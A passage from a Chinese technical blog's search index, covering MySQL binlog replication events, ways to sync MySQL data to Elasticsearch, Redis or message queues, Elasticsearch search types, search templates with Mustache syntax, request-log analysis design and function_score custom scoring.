RAND() 函数的状态。 USER_VAR_EVENT: 用户变量事件。 XID_EVENT: 记录事务 ID,事务 commit 提交了才会写入。 Row Based Replication Events(binlog 为 row 模式时相关的事件): TABLE_MAP_EVENT: 记录了后续事件涉及到的表结构的映射关系。 v0 事件对应 MySQL 5.1.0 to 5.1.15 版本 DELETE_ROWS_EVENTv0: 记录了行数据的删除。 UPDATE_ROWS_EVENTv0: 记录了行数据的更新。 WRITE_ROWS_EVENTv0: 记录了行数据的新增。 v1 事件对应 MySQL 5.1.15 to 5.6.x 版本 DELETE_ROWS_EVENTv1: 记录了行数据的删除。 UPDATE_ROWS_EVENTv1: 记录了行数据的更新。 WRITE_ROWS_EVENTv1: 记录了行数据的新增。 v2 事件对应 MySQL 5.6.x 及其以上版本 DELETE_ROWS_EVENTv2: 记录了行数据的删除。 UPDATE_ROWS_EVENTv2: 记录了行数据的更新。 WRITE_ROWS_EVENTv2: 记录了行数据的新增。 LOAD INFILE replication(加载文件的特殊场景,本文不做介绍): LOAD_EVENT CREATE_FILE_EVENT APPEND_BLOCK_EVENT EXEC_LOAD_EVENT DELETE_FILE_EVENT NEW_LOAD_EVENT BEGIN_LOAD_QUERY_EVENT EXECUTE_LOAD_QUERY_EVENT 想要解析具体某个 binlog event 的内容,只要对照官方文档数据包的格式即可。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:2:3","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"结语 MySQL Client/Server Protocol 协议其实很简单,就是相互之间按照约定的格式发包,而理解了协议,相信你自己就可以实现一个 lib 去注册成为一个 slave 然后解析 binlog 。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:3:0","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式 在实际应用中,我们经常需要把 MySQL 的数据同步至其它数据源,也就是在对 MySQL 的数据进行了新增、修改、删除等操作后,把该数据相关的业务逻辑变更也应用到其它数据源,例如: MySQL -\u003e Elasticsearch ,同步 ES 的索引 MySQL -\u003e Redis ,刷新缓存 MySQL -\u003e MQ (如 Kafka 等) ,投递消息 本文总结了五种数据同步的方式。 ","date":"2020-11-30","objectID":"/sync-data-from-mysql/:0:0","tags":["MySQL"],"title":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式","uri":"/sync-data-from-mysql/"},{"categories":["MySQL"],"content":"1. 业务层同步 由于对 MySQL 数据的操作也是在业务层完成的,所以在业务层同步操作另外的数据源也是很自然的,比较常见的做法就是在 ORM 的 hooks 钩子里编写相关同步代码。 这种方式的缺点是,当服务越来越多时,同步的部分可能会过于分散从而导致难以更新迭代,例如对 ES 索引进行不兼容迁移时就可能会牵一发而动全身。 ","date":"2020-11-30","objectID":"/sync-data-from-mysql/:1:0","tags":["MySQL"],"title":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式","uri":"/sync-data-from-mysql/"},{"categories":["MySQL"],"content":"2. 中间件同步 当应用架构演变为微服务时,各个服务里可能不再直接调用 MySQL ,而是通过一层 middleware 中间件,这时候就可以在中间件操作 MySQL 的同时同步其它数据源。 这种方式需要中间件去适配,具有一定复杂度。 ","date":"2020-11-30","objectID":"/sync-data-from-mysql/:2:0","tags":["MySQL"],"title":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式","uri":"/sync-data-from-mysql/"},{"categories":["MySQL"],"content":"3. 定时任务根据 updated_at 字段同步 在 MySQL 的表结构里设置特殊的字段,如 updated_at(数据的更新时间),根据此字段,由定时任务去查询实际变更的数据,从而实现数据的增量更新。 这种方式你可以使用开源的 Logstash 去完成。 当然缺点也很明显,就是无法同步数据的删除操作。 ","date":"2020-11-30","objectID":"/sync-data-from-mysql/:3:0","tags":["MySQL"],"title":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式","uri":"/sync-data-from-mysql/"},{"categories":["MySQL"],"content":"4. 解析 binlog 同步 比如著名的 canal 。 通过伪装成 slave 去解析 MySQL 的 binary log 从而得知数据的变更。 这是一种业界比较成熟的方案。 这种方式要求你将 MySQL 的 binlog-format 设置为 ROW 模式。 ","date":"2020-11-30","objectID":"/sync-data-from-mysql/:4:0","tags":["MySQL"],"title":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式","uri":"/sync-data-from-mysql/"},{"categories":["MySQL"],"content":"5. 解析 binlog – mixed / statement 格式 MySQL 的 binlog 有三种格式: ROW 模式,binlog 按行的方式去记录数据的变更; statement 模式,binlog 记录的是 SQL 语句; mixed 模式时,混合以上两种,记录的可能是 SQL 语句或者 ROW 模式的每行变更; 某些情况下,可能你的 MySQL binlog 无法被设置为 ROW 模式,这种时候,我们仍然可以去统一解析 binlog ,从而完成同步,但是这里解析出来的当然还是原始的 SQL 语句或者 ROW 模式的每行变更,这种时候是需要我们去根据业务解析这些 SQL 或者每行变更,比如利用正则匹配或者 AST 抽象语法树等,然后根据解析的结果再进行数据的同步。 这种方式的限制也很明显,一是需要自己适配业务解析 SQL ,二是批量更新这种场景可能很难处理,当然如果你的数据都是简单的根据主键进行修改或者删除则能比较好的适用。 ","date":"2020-11-30","objectID":"/sync-data-from-mysql/:5:0","tags":["MySQL"],"title":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式","uri":"/sync-data-from-mysql/"},{"categories":["MySQL"],"content":"结语 最后列举几个 binlog 解析的开源库: canal go-mysql zongji ","date":"2020-11-30","objectID":"/sync-data-from-mysql/:6:0","tags":["MySQL"],"title":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式","uri":"/sync-data-from-mysql/"},{"categories":["Elasticsearch"],"content":"Elasticsearch 分布式搜索的运行机制 ES 有两种 search_type 即搜索类型: query_then_fetch (默认) dfs_query_then_fetch ","date":"2020-11-17","objectID":"/es-distribute-search-steps/:0:0","tags":["Elasticsearch"],"title":"Elasticsearch 分布式搜索的运行机制","uri":"/es-distribute-search-steps/"},{"categories":["Elasticsearch"],"content":"query_then_fetch 用户发起搜索,请求到集群中的某个节点。 query 会被发送到所有相关的 shard 分片上。 每个 shard 分片独立执行 query 搜索文档并进行排序分页等,打分时使用的是分片本身的 Local Term/Document 频率。 分片的 query 结果(只有元数据,例如 _id 和 _score)返回给请求节点。 请求节点对所有分片的 query 结果进行汇总,然后根据打分排序和分页,最后选择出搜索结果文档(也只有元数据)。 根据元数据去对应的 shard 分片拉取存储在磁盘上的文档的详细数据。 得到详细的文档数据,组成搜索结果,将结果返回给用户。 缺点:由于每个分片独立使用自身的而不是全局的 Term/Document 频率进行相关度打分,当数据分布不均匀时可能会造成打分偏差,从而影响最终搜索结果的相关性。 ","date":"2020-11-17","objectID":"/es-distribute-search-steps/:1:0","tags":["Elasticsearch"],"title":"Elasticsearch 分布式搜索的运行机制","uri":"/es-distribute-search-steps/"},{"categories":["Elasticsearch"],"content":"dfs_query_then_fetch dfs_query_then_fetch 与 query_then_fetch 的运行机制非常类似,但是有两点不同。 用户发起搜索,请求到集群中的某个节点。 预查询每个分片,得到全局的 Global Term/Document 频率。 query 会被发送到所有相关的 shard 分片上。 每个 shard 分片独立执行 query 搜索文档并进行排序分页等,打分时使用的是分片本身的 Global Term/Document 频率。 分片的 query 结果(只有元数据,例如 _id 和 _score)返回给请求节点。 请求节点对所有分片的 query 结果进行汇总,然后根据打分排序和分页,最后选择出搜索结果文档(也只有元数据)。 根据元数据去对应的 shard 分片拉取存储在磁盘上的文档的详细数据。 得到详细的文档数据,组成搜索结果,将结果返回给用户。 缺点:太耗费资源,一般还是不建议使用。 ","date":"2020-11-17","objectID":"/es-distribute-search-steps/:2:0","tags":["Elasticsearch"],"title":"Elasticsearch 分布式搜索的运行机制","uri":"/es-distribute-search-steps/"},{"categories":["Elasticsearch"],"content":"经验 虽然 ES 有两种搜索类型,但一般还是都用默认的 query_then_fetch 。 当数据量没有足够大的情况下(比如搜索类型数据 20GB,日志类型数据 20-50GB),设置一个 shard 主分片是比较推荐的,只设置一个主分片,你会发现搜索时省掉了好多事情。 不需要文档数据时,使用 _source: false 可以避免请求节点到非本机分片的网络耗时以及读取磁盘文件的耗时。 使用 from + size 分页时,假设你只需要前 10k 条数据里的最后十条,那么每个分片也会取 10k 条数据,如果你的索引有 5 个主分片,那么汇总时就有 5 * 10k = 50k 条数据,这 50k 条数据是在内存里进行排序和最后的分页的,所以深度分页也是比较吃资源的。 ","date":"2020-11-17","objectID":"/es-distribute-search-steps/:3:0","tags":["Elasticsearch"],"title":"Elasticsearch 分布式搜索的运行机制","uri":"/es-distribute-search-steps/"},{"categories":["Elasticsearch"],"content":"Elasticsearch Search Template","date":"2020-11-16","objectID":"/es-search-template/","tags":["Elasticsearch"],"title":"Elasticsearch Search Template","uri":"/es-search-template/"},{"categories":["Elasticsearch"],"content":"Elasticsearch Search Template 所谓 search template 搜索模板其实就是: 预先定义好查询语句 DSL 的结构并预留参数 搜索的时再传入参数值 渲染出完整的 DSL ,最后进行搜索 使用搜索模板可以将 DSL 从应用程序中解耦出来,并且可以更加灵活的更改查询语句。 例如: GET _search/template { \"source\" : { \"query\": { \"match\" : { \"{{my_field}}\" : \"{{my_value}}\" } } }, \"params\" : { \"my_field\" : \"message\", \"my_value\" : \"foo\" } } 构造出来的 DSL 就是: { \"query\": { \"match\": { \"message\": \"foo\" } } } 在模板中通过 {{ }} 的方式预留参数,然后查询时再指定对应的参数值,最后填充成具体的查询语句进行搜索。 ","date":"2020-11-16","objectID":"/es-search-template/:0:0","tags":["Elasticsearch"],"title":"Elasticsearch Search Template","uri":"/es-search-template/"},{"categories":["Elasticsearch"],"content":"搜索模板 API 为了实现搜索模板和查询分离,我们首先需要单独保存和管理搜索模板。 保存搜索模板 使用 scripts API 保存搜索模板(不存在则创建,存在则覆盖)。示例: POST _scripts/\u003ctemplateid\u003e { \"script\": { \"lang\": \"mustache\", \"source\": { \"query\": { \"match\": { \"title\": \"{{query_string}}\" } } } } } 查询搜索模板 GET _scripts/\u003ctemplateid\u003e 删除搜索模板 DELETE _scripts/\u003ctemplateid\u003e 使用搜索模板 示例: GET _search/template { \"id\": \"\u003ctemplateid\u003e\", \"params\": { \"query_string\": \"search words\" } } params 中的参数与搜索模板中定义的一致,上文保存搜索模板的示例是 {{query_string}},所以这里进行搜索时对应的参数就是 query_string 。 检验搜索模板 有时候我们想看看搜索模板输入了参数之后渲染成的 DSL 到底长啥样。 示例: GET _render/template { \"source\": \"{ \\\"query\\\": { \\\"terms\\\": {{#toJson}}statuses{{/toJson}} }}\", \"params\": { \"statuses\" : { \"status\": [ \"pending\", \"published\" ] } } } 返回的结果就是: { \"template_output\": { \"query\": { \"terms\": { \"status\": [ \"pending\", \"published\" ] } } } } {{#toJson}} {{/toJson}} 就是转换成 json 格式。 已经保存的搜索模板可以通过以下方式查看渲染结果: GET _render/template/\u003ctemplate_name\u003e { \"params\": { \"...\" } } 使用 explain 和 profile 参数 示例: GET _search/template { \"id\": \"my_template\", \"params\": { \"status\": [ \"pending\", \"published\" ] }, \"explain\": true } GET _search/template { \"id\": \"my_template\", \"params\": { \"status\": [ \"pending\", \"published\" ] }, \"profile\": true } ","date":"2020-11-16","objectID":"/es-search-template/:1:0","tags":["Elasticsearch"],"title":"Elasticsearch Search Template","uri":"/es-search-template/"},{"categories":["Elasticsearch"],"content":"模板渲染 填充简单值 GET _search/template { \"source\": { \"query\": { \"term\": { \"message\": \"{{query_string}}\" } } }, \"params\": { \"query_string\": \"search words\" } } 渲染出来的 DSL 就是: { \"query\": { \"term\": { \"message\": \"search words\" } } } 将参数转换为 JSON 使用 {{#toJson}}parameter{{/toJson}} 会将参数转换为 JSON。 GET _search/template { \"source\": \"{ \\\"query\\\": { \\\"terms\\\": {{#toJson}}statuses{{/toJson}} }}\", \"params\": { \"statuses\" : { \"status\": [ \"pending\", \"published\" ] } } } 渲染出来的 DSL 就是: { \"query\": { \"terms\": { \"status\": [ \"pending\", \"published\" ] } } } 对象数组的渲染示例: GET _search/template { \"source\": \"{\\\"query\\\":{\\\"bool\\\":{\\\"must\\\": {{#toJson}}clauses{{/toJson}} }}}\", \"params\": { \"clauses\": [ { \"term\": { \"user\" : \"foo\" } }, { \"term\": { \"user\" : \"bar\" } } ] } } 渲染结果就是: { \"query\": { \"bool\": { \"must\": [ { \"term\": { \"user\" : \"foo\" } }, { \"term\": { \"user\" : \"bar\" } } ] } } } 将数组 join 成字符串 使用 {{#join}}array{{/join}} 可以将数组 join 成字符串。 示例: GET _search/template { \"source\": { \"query\": { \"match\": { \"emails\": \"{{#join}}emails{{/join}}\" } } }, \"params\": { \"emails\": [ \"aaa\", \"bbb\" ] } } 渲染结果: { \"query\" : { \"match\" : { \"emails\" : \"aaa,bbb\" } } } 除了默认以 , 分隔外,还可以自定义分隔符,示例: { \"source\": { \"query\": { \"range\": { \"born\": { \"gte\": \"{{date.min}}\", \"lte\": \"{{date.max}}\", \"format\": \"{{#join delimiter='||'}}date.formats{{/join delimiter='||'}}\" } } } }, \"params\": { \"date\": { \"min\": \"2016\", \"max\": \"31/12/2017\", \"formats\": [ \"dd/MM/yyyy\", \"yyyy\" ] } } } 例子中的 {{#join delimiter='||'}} {{/join delimiter='||'}} 意思就是进行 join 操作,分隔符设置为 || ,渲染结果就是: { \"query\": { \"range\": { \"born\": { \"gte\": \"2016\", \"lte\": \"31/12/2017\", \"format\": \"dd/MM/yyyy||yyyy\" } } } } 默认值 使用 {{var}}{{^var}}default{{/var}} 的方式设置默认值。 示例: { \"source\": { \"query\": { \"range\": { \"line_no\": { \"gte\": \"{{start}}\", \"lte\": \"{{end}}{{^end}}20{{/end}}\" } } } }, \"params\": { ... } } {{end}}{{^end}}20{{/end}} 就是给 end 设置了默认值为 20 。 当 params 是 { \"start\": 10, \"end\": 15 } 时,渲染结果是: { \"range\": { \"line_no\": { \"gte\": \"10\", \"lte\": \"15\" } } } 当 params 是 { \"start\": 10 } 时,end 就会使用默认值,渲染结果就是: { \"range\": { \"line_no\": { \"gte\": \"10\", \"lte\": \"20\" } } } 条件子句 有时候我们的参数是可选的,这时候就可以使用 {{#key}} {{/key}}的语法。 示例,假设参数 line_no, start, end 都是可选的,使用 {{#key}} {{/key}} 形如: { \"query\": { \"bool\": { \"must\": { \"match\": { \"line\": \"{{text}}\" } }, \"filter\": { {{#line_no}} \"range\": { \"line_no\": { {{#start}} \"gte\": \"{{start}}\" {{#end}},{{/end}} {{/start}} {{#end}} \"lte\": \"{{end}}\" {{/end}} } } {{/line_no}} } } } } 1、 当参数为: { \"params\": { \"text\": \"words to search for\", \"line_no\": { \"start\": 10, \"end\": 20 } } } 渲染结果是: { \"query\": { \"bool\": { \"must\": { \"match\": { \"line\": \"words to search for\" } }, \"filter\": { \"range\": { \"line_no\": { \"gte\": \"10\", \"lte\": \"20\" } } } } } } 2、 当参数为: { \"params\": { \"text\": \"words to search for\" } } 渲染结果为: { \"query\": { \"bool\": { \"must\": { \"match\": { \"line\": \"words to search for\" } }, \"filter\": {} } } } 3、当参数为: { \"params\": { \"text\": \"words to search for\", \"line_no\": { \"start\": 10 } } } 渲染结果为: { \"query\": { \"bool\": { \"must\": { \"match\": { \"line\": \"words to search for\" } }, \"filter\": { \"range\": { \"line_no\": { \"gte\": 10 } } } } } } 4、当参数为: { \"params\": { \"text\": \"words to search for\", \"line_no\": { \"end\": 20 } } } 渲染结果为: { \"query\": { \"bool\": { \"must\": { \"match\": { \"line\": \"words to search for\" } }, \"filter\": { \"range\": { \"line_no\": { \"lte\": 20 } } } } } } 需要注意的是在 JSON 对象中, { \"filter\": { {{#line_no}} ... {{/line_no}} } } 这样直接写 {{#line_no}} 肯定是非法的JSON格式,你必须转换为 JSON 字符串。 URLs 编码 使用 {{#url}}value{{/url}} 的方式可以进行 HTML 编码转义。 示例: GET _render/template { \"source\": { \"query\": { \"term\": { \"http_access_log\": \"{{#url}}{{host}}/{{page}}{{/url}}\" } } }, \"params\": { \"host\": \"https://www.elastic.co/\", \"page\": \"learn\" } } 渲染结果: { \"template_output\": { \"query\": { \"term\": { \"http_access_log\": \"https%3A%2F%2Fwww.elastic.co%2F%2Flearn\" } } } } ","date":"2020-11-16","objectID":"/es-search-template/:2:0","tags":["Elasticsearch"],"title":"Elasticsearch Search Template","uri":"/es-search-template/"},{"categories":["Elasticsearch"],"content":"Mustache 基本语法 上文中的 {{ }} 语法其实就是 mustache language ,补充介绍下基本的语法规则。 使用 {{key}} 模板:Hello {{name}} 输入: { \"name\": \"Chris\" } 输出:Hello Chris 使用 {{{key}}} 避免转义 所有变量都会默认进行 HTML 转义。 模板:{{company}} 输入: { \"company\": \"\u003cb\u003eGitHub\u003c/b\u003e\" } 输出:\u0026lt;b\u0026gt;GitHub\u0026lt;/b\u0026gt; 使用 {{{ }}} 避免转义。 模板:{{{company}}} 输入: { \"company\": \"\u003cb\u003eGitHub\u003c/b\u003e\" } 输出:\u003cb\u003eGitHub\u003c/b\u003e 使用 {{#key}} {{/key}} 构造区块 1、 当 key 是 false 或者空列表将会忽略 模板: Shown. {{#person}} Never shown! {{/person}} 输入: { \"person\": false } 输出: Shown. 2、 当 key 非空值则渲染填充 模板: {{#repo}} \u003cb\u003e{{name}}\u003c/b\u003e {{/repo}} 输入: { \"repo\": [ { \"name\": \"resque\" }, { \"name\": \"hub\" }, { \"name\": \"rip\" } ] } 输出: \u003cb\u003eresque\u003c/b\u003e \u003cb\u003ehub\u003c/b\u003e \u003cb\u003erip\u003c/b\u003e 3、当 key 是函数则调用后渲染 模板: {{#wrapped}} {{name}} is awesome. {{/wrapped}} 输入: { \"name\": \"Willy\", \"wrapped\": function() { return function(text, render) { return \"\u003cb\u003e\" + render(text) + \"\u003c/b\u003e\" } } } 输出: \u003cb\u003eWilly is awesome.\u003c/b\u003e 4、当 key 是非 false 且非列表 模板: {{#person?}} Hi {{name}}! {{/person?}} 输入: { \"person?\": { \"name\": \"Jon\" } } 输出: Hi Jon! 使用 {{^key}} {{/key}} 构造反区块 {{^key}} {{/key}} 的语法与 {{#key}} {{/key}} 类似,不同的是,当 key 不存在,或者是 false ,又或者是空列表时才渲染输出区块内容。 模板: {{#repo}} \u003cb\u003e{{name}}\u003c/b\u003e {{/repo}} {{^repo}} No repos :( {{/repo}} 输入: { \"repo\": [] } 输出: No repos :( 使用 {{! }} 添加注释 {{! }} 注释内容将会被忽略。 模板: \u003ch1\u003eToday{{! ignore me }}.\u003c/h1\u003e 输出: \u003ch1\u003eToday.\u003c/h1\u003e 使用 {{\u003e }} 子模块 模板: base.mustache: \u003ch2\u003eNames\u003c/h2\u003e {{#names}} {{\u003e user}} {{/names}} user.mustache: \u003cstrong\u003e{{name}}\u003c/strong\u003e 其实也就等价于: \u003ch2\u003eNames\u003c/h2\u003e {{#names}} \u003cstrong\u003e{{name}}\u003c/strong\u003e {{/names}} 使用 {{= =}} 自定义定界符 有时候我们需要改变默认的定界符 {{ }} ,那么就可以使用 {{= =}} 的方式自定义定界符。 例如: {{=\u003c% %\u003e=}} 定界符被定义为了 \u003c% %\u003e,这样原先 {{key}} 的使用方式就变成了 \u003c%key%\u003e。 再使用: \u003c%={{ }}=%\u003e 就重新把定界符改回了 {{ }}。 更多语法详情请查阅官方文档 mustache language 。 ","date":"2020-11-16","objectID":"/es-search-template/:3:0","tags":["Elasticsearch"],"title":"Elasticsearch Search Template","uri":"/es-search-template/"},{"categories":["Elasticsearch"],"content":"结语 使用 search template 可以对搜索进行有效的解耦,即应用程序只需要关注搜索参数与返回结果,而不用关注具体使用的 DSL 查询语句,到底使用哪种 DSL 则由搜索模板进行单独管理。 ","date":"2020-11-16","objectID":"/es-search-template/:4:0","tags":["Elasticsearch"],"title":"Elasticsearch Search Template","uri":"/es-search-template/"},{"categories":["Elasticsearch"],"content":"构造请求日志分析系统","date":"2020-11-07","objectID":"/log-analyzer-system/","tags":["Elasticsearch"],"title":"构造请求日志分析系统","uri":"/log-analyzer-system/"},{"categories":["Elasticsearch"],"content":"构造请求日志分析系统 ","date":"2020-11-07","objectID":"/log-analyzer-system/:0:0","tags":["Elasticsearch"],"title":"构造请求日志分析系统","uri":"/log-analyzer-system/"},{"categories":["Elasticsearch"],"content":"请求日志记录哪些数据 time_local : 请求的时间 remote_addr : 客户端的 IP 地址 request_method : 请求方法 request_schema : 请求协议,常见的 http 和 https request_host : 请求的域名 request_path : 请求的 path 路径 request_query : 请求的 query 参数 request_size : 请求的大小 referer : 请求来源地址,假设你在 a.com 网站下贴了 b.com 的链接,那么当用户从 a.com 点击访问 b.com 的时候,referer 记录的就是 a.com ,这个是浏览器的行为 user_agent : 客户端浏览器相关信息 status : 请求的响应状态 request_time : 请求的耗时 bytes_sent : 响应的大小 很多时候我们会使用负载网关去代理转发请求给实际的后端服务,这时候请求日志还会包括以下数据: upstream_host : 代理转发的 host upstream_addr : 代理转发的 IP 地址 upstream_url : 代理转发给服务的 url upstream_status : 上游服务返回的 status proxy_time : 代理转发过程中的耗时 ","date":"2020-11-07","objectID":"/log-analyzer-system/:1:0","tags":["Elasticsearch"],"title":"构造请求日志分析系统","uri":"/log-analyzer-system/"},{"categories":["Elasticsearch"],"content":"数据衍生 客户端 IP 地址可以衍生出以下数据: asn 相关信息: asn_asn : 自治系统编号,IP 地址是由自治系统管理的,比如中国联通上海网就管理了所有上海联通的IP as_org : 自治系统组织,比如中国移动、中国联通 geo 地址位置信息: geo_location : 经纬度 geo_country : 国家 geo_country_code : 国家编码 geo_region : 区域(省份) geo_city : 城市 user_agent 可以解析出以下信息: ua_device : 使用设备 ua_os : 操作系统 ua_name : 浏览器 ","date":"2020-11-07","objectID":"/log-analyzer-system/:2:0","tags":["Elasticsearch"],"title":"构造请求日志分析系统","uri":"/log-analyzer-system/"},{"categories":["Elasticsearch"],"content":"数据分析 PV / QPS : 页面浏览次数 / 每秒请求数 UV : 访问的用户人数,很多网站用户无序登录也能访问,这时可以根据 IP + user_agent 的唯一性确定用户 IP 数 : 访问来源有多少个 IP 地址 网络流量 : 根据 request_size 请求的大小计数网络流入流量,bytes_sent 响应大小计算网络流出流量 referer 来源分析 客户请求的地理位置分析:根据 IP 地址衍生的 geo 数据 客户设备分析:根据 user_agent 提取数据 请求耗时统计:根据 request_time 数据 p99、p95、p90 延迟(前多少百分比请求的耗时,比如 p99 就是前 99% 请求的耗时) 长耗时异常监控 响应状态监控:根据 status 数据 各个状态码的响应占比 5xx 服务端异常数量 结合业务分析:请求的 request_path 地址和 request_query 参数一定是对应具体业务的,例如 请求某个相册的地址是 /album/:id ,那么日志中的 request_path 对应的就是对相册进行了一次访问 进行站内搜索的地址是 /search?q=\u003c关键词\u003e ,那么统计 request_path 是 /search 的日志条数就可以知道进行了多少次搜索,统计 request_query 中 q 的参数就可以知道搜索关键词的情况 ","date":"2020-11-07","objectID":"/log-analyzer-system/:3:0","tags":["Elasticsearch"],"title":"构造请求日志分析系统","uri":"/log-analyzer-system/"},{"categories":["Elasticsearch"],"content":"通用架构 日志系统使用 ELK + kafka 构建是业界比较主流的方案,beats、 logstash 进行日志采集搬运,kafka 存储日志等待消费,elasticsearch 进行数据的聚合分析,grafana 和 kibana 进行图形化展示。 ","date":"2020-11-07","objectID":"/log-analyzer-system/:4:0","tags":["Elasticsearch"],"title":"构造请求日志分析系统","uri":"/log-analyzer-system/"},{"categories":["Elasticsearch"],"content":"Elasticsearch 自定义打分 Function score query","date":"2020-11-02","objectID":"/es-function-score-query/","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"Elasticsearch 自定义打分 Function score query Elasticsearch 会为 query 的每个文档计算一个相关度得分 score ,并默认按照 score 从高到低的顺序返回搜索结果。 在很多场景下,我们不仅需要搜索到匹配的结果,还需要能够按照某种方式对搜索结果重新打分排序。例如: 搜索具有某个关键词的文档,同时考虑到文档的时效性进行综合排序。 搜索某个旅游景点附近的酒店,同时根据距离远近和价格等因素综合排序。 搜索标题包含 elasticsearch 的文章,同时根据浏览次数和点赞数进行综合排序。 Function score query 就可以让我们实现对最终 score 的自定义打分。 ","date":"2020-11-02","objectID":"/es-function-score-query/:0:0","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"score 自定义打分过程 为了行文方便,本文把 ES 对 query 匹配的文档进行打分得到的 score 记为 query_score ,而最终搜索结果的 score 记为 result_score ,显然,一般情况下(也就是不使用自定义打分时),result_score 就是 query_score 。 那么当我们使用了自定义打分之后呢?最终结果的 score 即 result_score 的计算过程如下: 跟原来一样执行 query 并且得到原来的 query_score 。 执行设置的自定义打分函数,并为每个文档得到一个新的分数,本文记为 func_score 。 最终结果的分数 result_score 等于 query_score 与 func_score 按某种方式计算的结果(默认是相乘)。 例如,搜索标题包含 elasticsearch 的文档。 不使用自定义打分,则搜索形如: GET /_search { \"query\": { \"match\": { \"title\": \"elasticsearch\" } } } 假设我们最终得到了三个搜索结果,score 分别是 0.3、0.2、0.1 。 使用自定义打分,即 function_score ,则语法形如: GET /_search { \"query\": { \"function_score\": { \"query\": { \"match\": { \"title\": \"elasticsearch\" } } \u003c!-- 设置自定义打分函数,这里先省略,后面再展开讲解 --\u003e \"boost_mode\": \"multiply\" } } } 最终搜索结果 score 的计算过程就是: 执行 query 得到原始的分数,与上文假设对应,即 query_score 分别是 0.3、0.2、0.1 。 执行自定义的打分函数,这一步会为每个文档得到一个新的分数,假设新的分数即 func_score 分别是 1、3、5 。 最终结果的 score 分数即 result_score = query_score * func_score ,对应假设的三个搜索结果最终的 score 分别就是 0.3 * 1 = 0.3 、0.2 * 3 = 0.6、0.1 * 5 = 0.5 ,至此我们完成了新的打分过程,而搜索结果也会按照最终的 score 降序排列。 最终的分数 result_score 是由 query_score 与 func_score 进行计算而来,计算方式由参数 boost_mode 定义: multiply : 相乘(默认),result_score = query_score * function_score replace : 替换,result_score = function_score sum : 相加,result_score = query_score + function_score avg : 取两者的平均值,result_score = Avg(query_score, function_score) max : 取两者之中的最大值,result_score = Max(query_score, function_score) min : 取两者之中的最小值,result_score = Min(query_score, function_score) 本文读到这,你应该已经对自定义打分的过程有了一个基本印象(query 原始分数、自定义函数得分、最终结果 score )。但是我们还有一个关键点没讲,即怎么设置自定义打分函数? ","date":"2020-11-02","objectID":"/es-function-score-query/:1:0","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"function_score 打分函数 function_score 提供了以下几种打分的函数: weight : 加权。 random_score : 随机打分。 field_value_factor : 使用字段的数值参与计算分数。 decay_function : 衰减函数 gauss, linear, exp 等。 script_score : 自定义脚本。 ","date":"2020-11-02","objectID":"/es-function-score-query/:2:0","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"weight weight 加权,也就是给每个文档一个权重值。 示例: { \"query\": { \"function_score\": { \"query\": { \"match\": { \"message\": \"elasticsearch\" } }, \"weight\": 5 } } } 例子中的 weight 是 5 ,即自定义函数得分 func_score = 5 ,最终结果的 score 等于 query_score * 5 。 当然这个示例将匹配项全部加权并不会改变搜索结果顺序,我们再看一个例子: { \"query\": { \"function_score\": { \"query\": { \"match\": { \"message\": \"elasticsearch\" } }, \"functions\": [ { \"filter\": { \"match\": { \"title\": \"elasticsearch\" } }, \"weight\": 5 } ] } } } 我们可以通过 filter 去限制 weight 的作用范围,另外我们可以在 functions 中同时使用多个打分函数。 ","date":"2020-11-02","objectID":"/es-function-score-query/:2:1","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"random_score random_score 随机打分,生成 [0, 1) 之间均匀分布的随机分数值。 示例: GET /_search { \"query\": { \"function_score\": { \"random_score\": {} } } } 虽然是随机值,但是有时候我们需要随机值保持一致,比如所有用户都随机产生搜索结果,但是同一个用户的随机结果前后保持一致,这时只需要为同一个用户指定相同的 seed 即可。 示例: { \"query\": { \"function_score\": { \"random_score\": { \"seed\": 10, \"field\": \"_seq_no\" } } } } 默认情况下,即不设置 field 时会使用 Lucene doc ids 作为随机源去生成随机值,但是这会消耗大量内存,官方建议可以设置 field 为 _seq_no ,主要注意的是,即使指定了相同的 seed ,随机值某些情况下也会改变,这是因为一旦字段进行了更新,_seq_no 也会更新,进而导致随机源发生变化。 多个函数组合示例: GET /_search { \"query\": { \"function_score\": { \"query\": { \"match_all\": {} }, \"boost\": \"5\", \"functions\": [ { \"filter\": { \"match\": { \"test\": \"bar\" } }, \"random_score\": {}, \"weight\": 23 }, { \"filter\": { \"match\": { \"test\": \"cat\" } }, \"weight\": 42 } ], \"max_boost\": 42, \"score_mode\": \"max\", \"boost_mode\": \"multiply\", \"min_score\": 42 } } } 上例 functions 中设置了两个打分函数: 一个是 random_score 随机打分,并且 weight 是 23 另一个只有 weight 是 42 假设: 第一个函数随机打分得到了 0.1 ,再与 weight 相乘就是 2.3 第二个函数只有 weight ,那么这个函数得到的分数就是 weight 的值 42 score_mode 设置为了 max,意思是取两个打分函数的最大值作为 func_score,对应上述假设也就是 2.3 和 42 两者中的最大值,即 func_score = 42 boost_mode 设置为了 multiply,就是把原来的 query_score 与 func_score 相乘就得到了最终的 score 分数。 参数 score_mode 指定多个打分函数如何组合计算出新的分数: multiply : 分数相乘(默认) sum : 相加 avg : 加权平均值 first : 使用第一个 filter 函数的分数 max : 取最大值 min : 取最小值 